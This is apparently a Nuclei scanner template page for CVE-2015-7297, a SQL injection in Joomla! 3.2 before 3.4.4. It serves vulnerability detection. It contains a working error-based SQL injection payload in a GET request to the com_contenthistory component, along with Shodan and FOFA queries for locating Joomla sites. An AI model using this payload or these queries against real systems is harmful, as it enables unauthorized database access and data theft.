Joomla! Core SQL Injection

ID: CVE-2015-7297

Severity: high

Author: princechaddha

Tags: cve2015,cve,packetstorm,joomla,sqli

Description

A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.

YAML Source

id: CVE-2015-7297

info:
  name: Joomla! Core SQL Injection
  author: princechaddha
  severity: high
  description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.
  remediation: |
    Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-7297
    - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html
    - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/
    - http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html
    - http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-7297
    cwe-id: CWE-89
    epss-score: 0.97553
    epss-percentile: 0.99997
    cpe: cpe:2.3:a:joomla:joomla\!:3.2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve2015,cve,packetstorm,joomla,sqli
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)"

    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'
# digest: 4a0a00473045022035775c8e605b597dff6e939d9e617d048c6b1f4ff6fa7cbf97ac24a8e7a3c3d1022100c839d73db98dc94a647449917b4c648f271577d45f676ef40568add4cf6f329a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-7297.yaml"

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